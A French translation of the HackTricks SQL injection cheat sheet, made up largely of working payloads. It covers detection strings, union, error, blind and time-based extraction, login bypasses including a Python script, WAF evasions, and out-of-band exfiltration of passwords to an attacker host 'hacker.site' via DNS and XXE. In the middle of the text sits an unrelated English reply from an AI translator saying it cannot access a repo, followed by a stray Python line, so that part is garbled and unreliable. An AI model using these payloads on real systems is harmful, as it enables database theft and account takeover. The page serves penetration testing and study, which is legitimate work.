SQL Injection
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Qu’est-ce que SQL injection ?
Une SQL injection est une faille de sécurité qui permet aux attaquants de s’interférer avec les requêtes de la base de données d’une application. Cette vulnérabilité peut permettre aux attaquants de voir, modifier ou supprimer des données auxquelles ils ne devraient pas avoir accès, y compris les informations d’autres utilisateurs ou toute donnée accessible par l’application. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l’application, voire la compromission du serveur ou un déni de service.
Détection du point d’entrée
Lorsqu’un site semble vulnérable à SQL injection (SQLi) en raison de réponses serveur inhabituelles à des entrées liées à SQLi, la première étape est de comprendre comment injecter des données dans la requête sans la perturber. Cela nécessite d’identifier la méthode pour s’échapper du contexte actuel de manière efficace. Voici quelques exemples utiles :
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Ensuite, vous devez savoir comment corriger la requête pour qu’il n’y ait pas d’erreurs. Pour corriger la requête vous pouvez input des données afin que la requête précédente accepte les nouvelles données, ou vous pouvez simplement input vos données et ajouter un symbole de commentaire à la fin.
Notez que si vous pouvez voir des messages d’erreur ou repérer des différences entre une requête qui fonctionne et une qui ne fonctionne pas, cette phase sera plus facile.
Commentaires
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Confirmation par opérations logiques
Une méthode fiable pour confirmer une vulnérabilité SQL injection consiste à exécuter une opération logique et à observer les résultats attendus. Par exemple, un paramètre GET tel que ?username=Peter renvoyant un contenu identique lorsqu’il est modifié en ?username=Peter' or '1'='1 indique une vulnérabilité SQL injection.
De même, l’application d’opérations mathématiques constitue une technique de confirmation efficace. Par exemple, si l’accès à ?id=1 et ?id=2-1 produit le même résultat, cela indique une vulnérabilité SQL injection.
Exemples démontrant la confirmation par opération logique :
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Cette liste de mots a été créée pour tenter de confirmer des SQLinjections de la manière proposée :
SQLi vraie
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Confirmation par temporisation
Dans certains cas, vous ne remarquerez aucun changement sur la page que vous testez. Une bonne façon de découvrir blind SQL injections est de faire exécuter des actions par la DB qui auront un impact sur le temps nécessaire au chargement de la page.
Nous allons donc concaténer dans la requête SQL une opération qui prendra beaucoup de temps à s’exécuter :
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Dans certains cas, les sleep functions won’t be allowed. Dans ce cas, au lieu d’utiliser ces fonctions vous pouvez faire en sorte que la requête effectue des opérations complexes qui prendront plusieurs secondes. Des exemples de ces techniques seront commentés séparément pour chaque technologie (si applicable).
Identification du back-end
La meilleure façon d’identifier le back-end est d’essayer d’exécuter des fonctions des différents back-ends. Vous pouvez utiliser les sleep functions de la section précédente ou celles-ci (tableau tiré de payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
De plus, si vous avez accès au résultat de la requête, vous pouvez lui faire afficher la version de la base de données.
Tip
Nous allons ensuite aborder différentes méthodes pour exploiter différents types de SQL Injection. Nous utiliserons MySQL comme exemple.
Identification avec PortSwigger
SQL injection cheat sheet | Web Security Academy
Exploitation Union Based
Détecter le nombre de colonnes
Si vous pouvez voir la sortie de la requête, c’est la meilleure façon de l’exploiter.
Tout d’abord, nous devons découvrir le nombre de colonnes que la requête initiale retourne. Cela s’explique par le fait que les deux requêtes doivent retourner le même nombre de colonnes.
Deux méthodes sont typiquement utilisées à cette fin :
Order/Group by
Pour déterminer le nombre de colonnes dans une requête, ajustez progressivement le nombre utilisé dans les clauses ORDER BY ou GROUP BY jusqu’à obtenir une réponse incorrecte. Malgré les fonctionnalités distinctes de GROUP BY et ORDER BY dans le cadre de SQL, les deux peuvent être utilisés de manière identique pour déterminer le nombre de colonnes de la requête.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
SELECT de plus en plus de valeurs NULL jusqu’à ce que la requête soit correcte :
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Vous devriez utiliser null values car dans certains cas le type des colonnes des deux côtés de la requête doit être le même et null est valide dans tous les cas.
Extraire les noms des bases de données, des tables et des colonnes
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom des tables d’une base de données, et les noms des colonnes d’une table :
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Il existe une façon différente de découvrir ces données pour chaque base de données, mais la méthodologie reste la même.
Exploiting Hidden Union Based
Lorsque l’output d’une query est visible, mais qu’une injection union-based semble irréalisable, cela signifie la présence d’une hidden union-based injection. Ce scénario conduit souvent à une situation de blind injection. Pour transformer une blind injection en une union-based, il faut discerner la query d’exécution côté backend.
Cela peut être accompli en utilisant des techniques de blind injection en conjonction avec les default tables spécifiques à votre target Database Management System (DBMS). Pour comprendre ces default tables, il est conseillé de consulter la documentation du DBMS cible.
Une fois la query extraite, il est nécessaire d’adapter votre payload pour fermer en toute sécurité la query originale. Ensuite, une union query est ajoutée à votre payload, permettant d’exploiter la union-based injection nouvellement accessible.
Pour plus de détails, référez-vous à l’article complet disponible à Healing Blind Injections.
Exploiting Error based
Si pour une raison quelconque vous cannot voir le output de la query mais que vous pouvez see the error messages, vous pouvez utiliser ces error messages pour ex-filtrate des données depuis la base de données.\
En suivant un flux similaire à celui de l’Exploitation Union Based, vous pourriez réussir à dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Exploiter Blind SQLi
Dans ce cas, vous ne pouvez pas voir les résultats de la requête ni les erreurs, mais vous pouvez distinguer quand la requête return une réponse true ou false car le contenu de la page diffère.
Dans ce cas, vous pouvez abuser de ce comportement pour dump la base de données caractère par caractère :
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploitation de Error Blind SQLi
C’est le même cas qu’avant mais au lieu de distinguer entre une réponse true/false provenant de la requête, vous pouvez distinguer entre une erreur dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas vous pouvez forcer une SQLerror à chaque fois que vous devinez correctement le char :
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
Dans ce cas il n’y a aucun moyen de distinguer la réponse de la requête en fonction du contexte de la page. Mais vous pouvez faire en sorte que la page prenne plus de temps à se charger si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée auparavant afin de confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Vous pouvez utiliser stacked queries pour exécuter plusieurs requêtes successives. Notez que, bien que les requêtes suivantes soient exécutées, les résultats ne sont pas renvoyés à l’application. Ainsi, cette technique est principalement utile dans le cadre de blind vulnerabilities, où vous pouvez utiliser une seconde requête pour déclencher une requête DNS, une erreur conditionnelle ou une temporisation.
Oracle ne supporte pas stacked queries. MySQL, Microsoft et PostgreSQL les supportent : QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Si aucune autre méthode d’exploitation n’a fonctionné, vous pouvez essayer de faire en sorte que la base de données ex-filtrate les informations vers un hôte externe contrôlé par vous. Par exemple, via des requêtes DNS :
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Exfiltration de données hors-bande via XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Exploitation automatisée
Consultez la SQLMap Cheatsheet pour exploiter une vulnérabilité SQLi avec sqlmap.
Infos spécifiques par technologie
Nous avons déjà abordé toutes les façons d’exploiter une vulnérabilité SQL Injection. Trouvez d’autres astuces dépendant de la technologie de la base de données dans ce livre :
Ou vous trouverez beaucoup d’astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Liste à essayer pour contourner la fonctionnalité de login :
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true for raw output dans les vérifications d’authentification, rendant le système susceptible à SQL injection. Les attaquants peuvent exploiter cela en créant des entrées qui, une fois hachées, produisent des parties inattendues de commande SQL, conduisant à un accès non autorisé.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Authentification par hash injecté Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Liste recommandée:
Vous devez utiliser comme nom d’utilisateur chaque ligne de la liste et comme mot de passe toujours : Pass1234.
(Ces payloads sont aussi inclus dans la grande liste mentionnée au début de cette section)
GBK Authentication Bypass
Si ’ est échappé vous pouvez utiliser %A8%27, et quand ’ est échappé il sera créé : 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Script Python :
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontexte)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Instruction INSERT
Modifier le mot de passe d’un objet/utilisateur existant
Pour cela vous devriez essayer de créer un nouvel objet nommé comme le “master object” (probablement admin dans le cas des utilisateurs) en modifiant quelque chose :
- Créer un utilisateur nommé : AdMIn (majuscules & minuscules)
- Créer un utilisateur nommé : admin=
- SQL Truncation Attack (lorsqu’il y a une sorte de limite de longueur dans le nom d’utilisateur ou l’email) –> Créer un utilisateur avec le nom : admin [a lot of spaces] a
SQL Truncation Attack
Si la base de données est vulnérable et que le nombre max de caractères pour le nom d’utilisateur est par exemple 30 et que vous voulez usurper l’utilisateur admin, essayez de créer un nom d’utilisateur appelé : “admin [30 spaces] a” et n’importe quel mot de passe.
La base de données va vérifier si le nom d’utilisateur introduit existe dans la base. Si non, elle va couper le nom d’utilisateur à la longueur maximale autorisée (dans ce cas : “admin [25 spaces]”) puis elle supprimera automatiquement tous les espaces à la fin en mettant à jour dans la base l’utilisateur “admin” avec le nouveau mot de passe (une erreur peut apparaître mais cela ne signifie pas que cela n’a pas fonctionné).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: Cette attaque ne fonctionnera plus comme décrit ci‑dessus dans les dernières installations de MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, tenter d’insérer une chaîne plus longue que la longueur d’un champ provoquera une erreur, et l’insertion échouera. Pour plus d’informations sur cette vérification: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Ajoutez autant de ','','' que vous jugez nécessaire pour sortir de la clause VALUES. Si le delay est exécuté, vous avez une SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
La clause ON DUPLICATE KEY UPDATE dans MySQL est utilisée pour spécifier les actions que la base de données doit effectuer lorsqu’une tentative d’insertion d’une ligne entraînerait une valeur dupliquée dans un UNIQUE index ou PRIMARY KEY. L’exemple suivant montre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d’un compte administrateur :
Exemple d’injection de payload :
Un payload d’injection peut être construit comme suit, où l’on tente d’insérer deux lignes dans la table users. La première ligne est un leurre, et la deuxième vise l’adresse e-mail d’un administrateur existant dans le but de mettre à jour le mot de passe :
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Voici comment cela fonctionne :
- La requête tente d’insérer deux lignes : une pour
generic_user@example.comet une autre pouradmin_generic@example.com. - Si la ligne pour
admin_generic@example.comexiste déjà, la clauseON DUPLICATE KEY UPDATEse déclenche, ordonnant à MySQL de mettre à jour le champpasswordde la ligne existante avec “bcrypt_hash_of_newpassword”. - Par conséquent, l’authentification peut ensuite être tentée en utilisant
admin_generic@example.comavec le mot de passe correspondant au hash bcrypt (“bcrypt_hash_of_newpassword” représente le hash bcrypt du nouveau mot de passe, qui doit être remplacé par le hash réel du mot de passe souhaité).
Extraire des informations
Créer 2 comptes en même temps
Pour créer un nouvel utilisateur, username, password et email sont nécessaires :
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Utiliser le décimal ou l’hexadécimal
Avec cette technique, vous pouvez extraire des informations en créant un seul compte. Il est important de noter que vous n’avez pas besoin de commenter quoi que ce soit.
En utilisant hex2dec et substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
I don’t have access to your repo. To translate README.md, either paste its content here or run one of these commands locally and paste the output:
-
If repo is cloned:
cat src/pentesting-web/sql-injection/README.md -
To show a range of lines:
sed -n '1,200p' src/pentesting-web/sql-injection/README.md -
From Git (current HEAD):
git show HEAD:src/pentesting-web/sql-injection/README.md -
From GitHub (raw URL — replace owner/repo/branch):
curl -s https://raw.githubusercontent.com/<owner>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md -
On Windows:
type src\pentesting-web\sql-injection\README.md
Paste the file content here and I will translate it to French following your rules.
__import__('binascii').unhexlify(hex(215573607263)[2:])
En utilisant hex et replace (et substr) :
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection est une situation où la requête injectable n’est pas celle qui génère la sortie, mais où la sortie de la requête injectable est transmise à la requête qui génère la sortie. (From Paper)
Exemple:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass en utilisant des alternatives aux espaces blancs
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - contournement en utilisant des commentaires
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass en utilisant des parenthèses
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass en utilisant OFFSET, FROM et JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Bypasses génériques
Blacklist en utilisant des mots-clés - bypass en utilisant majuscules/minuscules
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist utilisant des mots-clés insensibles à la casse - bypass en utilisant un opérateur équivalent
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
Vous trouverez une explication plus approfondie de cette astuce sur le gosecure blog.
En pratique, vous pouvez utiliser la scientific notation de façons inattendues pour contourner le WAF :
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Contourner la restriction des noms de colonnes
Tout d’abord, remarquez que si la requête originale et la table d’où vous voulez extraire le flag ont le même nombre de colonnes, vous pouvez simplement faire : 0 UNION SELECT * FROM flag
Il est possible d’accéder à la troisième colonne d’une table sans utiliser son nom en utilisant une requête comme la suivante : SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, donc dans une sqlinjection cela ressemblerait à :
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Ou en utilisant un comma bypass :
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Cette astuce provient de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection dans la liste SELECT via des sous-requêtes
Si l’entrée utilisateur est concaténée dans la liste SELECT ou dans les table/column identifiers, les prepared statements ne seront d’aucune aide car les bind parameters ne protègent que les valeurs, pas les identifiants. Un schéma vulnérable courant est :
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Idée d’exploitation : injecter une sous-requête dans la position du champ pour exfiltrer des données arbitraires :
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Remarques:
- Cela fonctionne même lorsque la clause WHERE utilise un bound parameter, car la liste d’identifiants est toujours string-concatenated.
- Certaines stacks permettent en outre de contrôler le nom de table (tablename injection), permettant des cross-table reads.
- Les output sinks peuvent refléter la valeur sélectionnée dans HTML/JSON, permettant du XSS ou l’exfiltration de tokens directement depuis la réponse.
Contre-mesures:
- Ne concaténez jamais des identifiants provenant de l’entrée utilisateur. Mappez les noms de colonnes autorisés sur une allow-list fixe et quotez correctement les identifiants.
- Si l’accès dynamique aux tables est requis, restreignez-le à un ensemble fini et résolvez côté serveur via un mapping sûr.
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
Certains frameworks convert structured filter ASTs into raw SQL boolean fragments (par ex. metadata filters ou JSON predicates) puis string-concatenate ces fragments pour former des requêtes plus larges. Si le convertisseur wraps string values as '%s' without escaping, une apostrophe dans l’entrée utilisateur termine le littéral et le reste est interprété comme du SQL.
Exemple de pattern (conceptuel) :
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → décodé : ' OR '1'='1 → le prédicat devient :
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / identifier-based SQLi (PDO limitation)
Prepared statements cannot bind identifiers (noms de colonnes ou de tables). Un schéma courant et non sécurisé consiste à prendre un paramètre sort fourni par l’utilisateur et construire ORDER BY en concaténant des chaînes, parfois en entourant l’entrée de backticks pour la « sanitiser ». Cela permet toujours une SQLi car le contexte d’identifiant est contrôlé par l’attaquant.
Schéma vulnérable:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
Signaux dans le trafic :
- Paramètre sort dans POST (souvent
sort=column), pas une liste d’autorisation fixe. - Modifier
sortcasse la requête ou modifie l’ordre de sortie.
Outils suggérant des WAF bypass
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
Autres guides
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Liste de détection Brute-Force
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Références
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


